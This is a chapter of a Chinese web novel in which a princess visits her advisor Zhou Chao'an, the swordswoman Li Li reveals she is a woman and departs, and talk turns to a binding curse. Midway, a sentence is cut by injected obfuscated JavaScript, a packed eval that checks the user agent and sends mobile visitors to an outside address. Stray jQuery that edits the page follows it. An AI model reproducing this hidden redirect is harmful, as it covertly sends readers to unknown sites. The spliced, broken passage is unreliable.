16. 保护神消失

作品:《乱世公主称帝

    靖曦元瞧着轿撵外,丫鬟手里还剩下一盒的糕点,疑惑问柳冉:“小冉儿,怎还多剩一盒糕点,不是给朝安备下的吧?”


    柳冉略显尴尬。


    今日出门时,柳冉便发现,厨房多备了一份周朝安的糕点。但柳冉并未说什么,反而将多出的这份糕点带上,默认了周朝安面首的地位。


    旁边的丫鬟们,也忍不住替柳冉捏把汗。


    她们虽不是宫里教导出的正经宫女,只是府上丫鬟,但也听过不少妄加猜测主家,惹了主家不满,最后被打死或发卖的例子。


    毕竟身契握在主家手里,就相当身家性命便系在了主家手里,揉圆搓扁皆是主家说的算。


    柳冉小心翼翼道:“公主不是说,要拜会诸位公子们,不包括周公子吗?”


    “他是我的幕僚!”


    靖曦元昨日说,拜会自己诸位面首们,但显然,府里人都把周朝安列入了自己面首一列。


    柳冉明显心虚,靖曦元瞧了,也不忍责备,于是道:“既如此,便去朝安哪儿打一趟吧。以后莫再犯这种错误。”


    柳冉顿时松了口气,“是,奴婢再也不敢了。”


    旁边丫鬟们跟着柳冉一起松了口气,都瞧清自己伺候的这位主子,是个心好的。


    靖曦元低头一瞧,自己一身从李黎处穿出来的男装,一撩珠帘,对轿撵外的柳冉道:“先回去换身衣衫。”


    “是,公主。”


    小厮瞧见靖曦元的轿撵被轿夫抬走,急对躲在门后的周朝安报信道:“周公子,公主走了。”


    “听见了,”周朝安道。


    说罢周朝安拔足狂奔,需得赶在公主来自己院子之前赶回去。


    “公主这身上怎的红了一片?”正给靖曦元宽衣的柳冉,心疼指着一处问。


    靖曦元对着镜子瞧了眼,“在阿黎那浴池里烫的,无碍,应当一会儿就好了。”


    换了身鹅黄裙衫,靖曦元突然想到一事,让柳冉翻出陶华呈上的,则驸马利害的册子。


    翻看着手里半月不见的册子,里头的内容变的离谱,靖曦元喃喃感慨:“这个陶中书啊!”


    靖曦元抿了抿唇,翻到册子末尾,抬笔在自己之前批的不允二字前面,又添上有失偏颇四字。


    行完此事,靖曦元才乘轿撵,往周朝安院里去。


    周朝安新换了一身白色宽袖衫,在院里备了茶点,就等着靖曦元上门,好叫人在此品茶歇脚片刻。


    靖曦元带着最后一盒糕点登门,就见周朝安摆了个茶台,正坐在桃花树下抚琴。


    片片粉色桃花花瓣落下,随风给悠长的琴声配舞。


    靖曦元站在远处眺望,不忍贸然上前,坏了周朝安雅兴,只远远瞧着欣赏如画般的场景。


    待风止琴停,靖曦元才缓步上前,让柳冉在茶台上填上一碟白云糕。


    周朝安起身行礼,“参见公主。”


    “赐座,”瞧着脸上填了点肉的周朝安,靖曦元拉过周朝安的手浅笑道:“没有扰了朝安的雅兴吧?”


    周朝安不着痕迹抽回手,摇头道:“公主贵临,朝安高兴还来不及,哪会是扰。”


    周朝安身后的小厮低头擦了擦额头热汗。


    方才跟着自家主子一路从祝公子院里跑回来,又给公子张罗茶台,可将这位小厮给忙坏了,额头热汗此时才来得及擦。


    周朝安瞥了眼小厮,淡淡道:“你近日染了风寒,就别在这候着了,先下去吧。”


    小厮疑惑不解,自己何时染了风寒?


    “公子,您......”莫不是记错了?


    周朝安对这不识眼色的小厮急道:“下去吧!”


    小厮这才反应过来,忙行礼告退。


    靖曦元心中暗道:真是个心地善良的小可怜。


    小厮:我这事做的漂亮,替公子讨了公主欢心,公子明日定会赏我。


    周朝安倒了杯茶,推到靖曦元面前,略带不好意思道:“我这儿没有什么好茶,也不知,合不合公主心意。”


    靖曦元摆了摆手,“无妨,这茶我尝不出好坏,只要不难喝就行。”


    一国公主,什么好东西没用过。


    但周朝安以为,靖曦元这是不使自己难堪的托词,便没在意。


    靖曦元有些口渴,端起茶杯,微昂头,一口闷下解渴。


    这个动作与靖曦元那日喝酒时重合,露出一截雪白的皓颈,使周朝安恍惚间晃了神。


    半月前,受柳冉相邀,到靖曦元院里饮酒庆贺柳冉升职。


    酒桌上靖曦元醉眼迷离,将一杯酒塞进周朝安手里,而后一手搭在周朝安肩上,另一手举酒杯,明媚浅笑询问周朝安:“朝安,可否同我喝杯交杯酒?”


    不知今日柳冉给靖曦元身上熏的什么香,惑人的人。


    周朝安唇舌发燥,盯着靖曦元的眼睛微眯,那日自己饮的分明是茶,却好似在靖曦元的呼吸间,染上了几分醉意。


    “好。”


    周朝安清晰听到自己这般说。


    但也清楚明白,这不是一个幕僚该说的话。


    更不该同公主喝下那杯交杯酒。


    可我大抵是醉狠了。


    不由自主举着酒杯抬手挽过公主的手,嘴唇在杯盏上轻抵。


    杯盏泛着冷意,有那么一刻,我恢复了神志。


    可抬眼看向靖曦元已经迷离了的眼睛,周朝安微微一笑,饮下了那杯交杯酒。


    “朝安,朝安,”靖曦元的声音在耳畔响起,唤回了周朝安的神志。


    周朝安歉意道:“对不起,我方才走神了。”


    靖曦元道:“无碍,过几日便是清明,你是不是想家了?”


    周朝安一愣,借口送上门,周朝安缓缓点头。


    “过几日让小厮去买些红烛纸钱,就在院里祭拜吧。”


    周朝安眼神微亮,“可以吗?”


    靖曦元浅笑道:“我不忌讳这些。”


    周朝安起身对靖曦元行了个礼,诚心道:“多谢公主。”


    靖曦元一直在周朝安这儿待到用过晚膳,这才回自己院里。


    靖曦元身上在李黎那浴池里烫红的皮肤,这会儿已经瞧不出痕迹,不过柳冉对此事极为上心,去寻了袁惜,拿了些烫伤的药膏来给靖曦元涂。


    “公主,您方才哪儿红了来着?奴婢不记得了。”


    靖曦元折身一瞧早散红了的皮肤,劝慰道:“早好了,别折腾了。”


    柳冉不依不饶,认定只是表面散红,内里定是给烫伤了,靖曦元无奈往榻上一趴,随柳冉照着记忆胡乱涂药。


    一阵清风拂过,木门发出一道轻响,似被风吹开。


    “小红,小红,快将门关上。”


    柳冉喊了几声,观守门的丫鬟没有应答,以为那丫鬟茅厕去了,对靖曦元道:“公主,奴婢去将门关上。”


    随即拉起被子往靖曦元身上盖了盖,起身亲自去关门。


    刚出玄关的屏风,就见一道粉色身影,无声无息向前飘来。


    “啊!”柳冉一声惊叫,靖曦元拎起被子往身上一裹,光着脚就冲了出去,还顺手抄了一个春花玉瓷瓶,挡在柳冉身前。


    靖曦元怒喝:“是谁!”


    声音惊动了院里的丫鬟,靖曦元听见不少脚步声向这方而来。


    那个人影微抬了抬头。


    靖曦元定睛一看,差异道:“李,李黎?”


    李黎轻应了一声:“公主。”


    靖曦元把瓷瓶递给柳冉道:“小冉儿,先去和大家说一声,这里无事。”


    “是,公主,”柳冉出门时,贴心的带上了门。


    靖曦元凑上前,细瞧了瞧披散着秀发的李黎,怀疑自己今日说话太重,把这姑娘整疯了。


    “公主,我想好了,我想换回女装。”


    “挺好的想法,”靖曦元松了口气,意识清晰,看着不像疯的。


    “我还想出趟远门,去杀人。”


    靖曦元喉头一哽,杀人不是好事,不好再夸。


    “我是来向公主请辞的。”


    “哦哦,去多久回来?”


    李黎沉默半晌才道:“不知道。”


    靖曦元问:“那还回来吧?”


    李黎思量了一下,此行虽然有危险,但是回得来的,于是点头道:“回来的。”


    靖曦元点了点头。


    气氛逐渐冷下来,门外有人前来查看情况,柳冉与人解释无事的声音传了进来。


    靖曦元踌躇半晌问:“那你这个造型是?”扮鬼吗?预备去将人吓死?


    李黎嗫喏了一下,抬头看了好几眼靖曦元,才道:“我不会梳女子发髻。”


    “哦,”靖曦元恍然大悟,终于将不安的心放下,抬手将李黎的秀发捞起,露出那张略带英气的脸笑道:“一会儿叫小冉儿,教你几个简单的妆发。”


    “谢过公主。”


    靖曦元留李黎就在自己院里歇下,好向柳冉请教女子妆发。


    不知周朝安从何处闻风而来,这回甜羹都未来得及准备,带了一罐茶就匆匆赶来。


    周朝安瞧见一身女子装扮的李黎,瞪大了眼,诧异道:“李公子,是......姑娘?”


    李黎点头,“让周公子见笑了。”


    靖曦元咳嗽两声,问道:“朝安,你夜深来此作甚?”


    柳冉暧昧的朝靖曦元眨了眨眼,靖曦元会意的憋不住笑。


    难道真如柳冉所说,周朝安对自己有心思不成?


    从祝鹤轩处得到消息,匆匆赶来的周朝安,立即意识到自己太慌张了,忙将茶罐往身后藏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178508|164761||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了藏。


    周朝安冷静下来,淡淡道:“我想招募一批身强力壮的武夫和武器,今夜去找祝公子商议此事。


    据闻批银子不超五百两的事,祝公子管。批银子超过五百两的事,需先找祝公子商议,得允后,方可得找公主商议。”


    这个审批流程,是靖曦元前段时间定下的。既省了祝鹤轩事事都来请示自己,又不会错过府内大事。


    靖曦元眼神暗了几分。


    料想周朝安手上茶罐,该是祝鹤轩赠的,如此说来,周朝安不是为李黎夜宿自己院中一事而来。


    靖曦元道:“乱世动荡不安,多招些武夫也好,此事允了。”


    周朝安俯身一礼道:“谢过公主,时候不早,那朝安就不打扰公主休息了。”


    “嗯,退下吧。”


    周朝安又是一礼,这才缓缓退下。


    柳冉见靖曦元面色不好,不满道:“周公子未免太不识趣。”


    李黎闻言,举剑道:“我去将他抓来,今晚给公主侍寝。”


    靖曦元连忙阻止李黎道:“书生木讷些也是常事,若不是这股子木讷劲,那便不好玩了。”


    开玩笑,靖曦元只是喜欢撩,可没谈过恋爱的,更不兴霸王硬上弓。


    “哦,”李黎一脸佩服表情看向靖曦元,“原来如此。”


    靖曦元心中暗暗为自己以后的风评捏了把汗。


    次日李黎乃女子之事震惊全府。


    因李黎就要离开府上,六面首再次齐聚,为李黎送行。


    靖曦元一早让丫鬟备好了李黎行路的行囊,嘱咐道:“吃好喝好睡好,在外莫苦了自己。”


    李黎将靖曦元拉至一旁,小声道:“公主刚来时,我曾断言公主体内禁咒怪异,公主可还记得?”


    靖曦元点头,此事事关原主一身武功,靖曦元自然记得。


    那日用膳后,李黎说会替靖曦元找禁咒解法,只是一直都未有消息。难道现在找到解禁咒的法子了?


    “公主内力被禁咒压制,又内息紊乱,我遍寻典籍,终于找到原因。


    据闻冲破所下禁咒后,又被人下上一层禁咒,情况便会如此。”


    靖曦元一愣,“你的意思是说,我曾经冲破了永罹人所下的禁咒,但在这之后,又被人下了一道禁咒在体内,内力被重新封住?”


    李黎点头,“是。”


    “我虽不知,公主当初是如何破解禁咒的,但这层新下的禁咒,似不慎牢固。


    公主昨日在浴房,便释放出了一丝内力吧?”


    靖曦元点头,“不止昨日,之前也有过一次,可是,这内力时有时无,无法掌控。阿黎是找到禁咒解法了?”


    李黎道:“典籍记载,禁咒解法除施咒者可解外,唯有修为品阶高于施咒者的人,强行破除禁咒。可公主体内禁咒,或是因为破后重下的缘故,似是个例外。”


    “哦,怎个例外法?”


    “敢问公主每次使出内力时,是否都是情绪激愤,气血上涌之时?”


    靖曦元略一思索,自己两次使用内力,一次是在见到以人而食,奋救周朝安之际,使出了轻功。另一次,则是昨日生死危机,一脚踹塌了浴房墙面。


    靖曦元点头,“确实。”


    “依我之见,公主每次情绪激愤,气血上涌之时,最易攻破禁咒防线,若有一日,能借此破开禁咒,也未尝不可。”


    靖曦元眼神微亮,“我知晓了,多谢。不过还有一事,我想问问你。”


    “公主但问无妨。”


    李黎是二品大宗师,若她都无法强行破除自己体内禁咒,那说明给自己施禁咒之人,至少同为二品大宗师。


    二品大宗师屈指可数,而靖曦元恰好见过一位,来自永罹国的二品。


    “给我下禁咒之人,可是蠡芫?”


    李黎神色凝重,缓缓点头。


    哪个才年过半百,便满目沧桑的驼背老婆婆,带着股腐朽怪味,闪过靖曦元脑海。


    李黎在众人注视下,带着凌云剑,骑马远去。


    靖曦元知晓,李黎这个二品大宗师一走,明州的守护神便消失了,而自己体内的禁咒,必须尽快破除。


    *


    屋内,祝鹤轩瞧着眼前的周朝安问:“公主真批了招武夫买武器之事?”


    “自然,”周朝安淡淡道:“公主目的是哪个位置,招兵买马不是理所当然?”


    祝鹤轩被周朝安坚定的目光给整迷惑了,诧异道:“难道公主,真想做女帝不成?”


    周朝安淡淡道:“有何不可?”


    祝鹤轩沉默了。


    有点怀疑自己不是不记错了。


    那日公主就是这个意思吧?就是要做女帝吧!


    祝鹤轩略带怀疑自我的,给周朝安支了银子。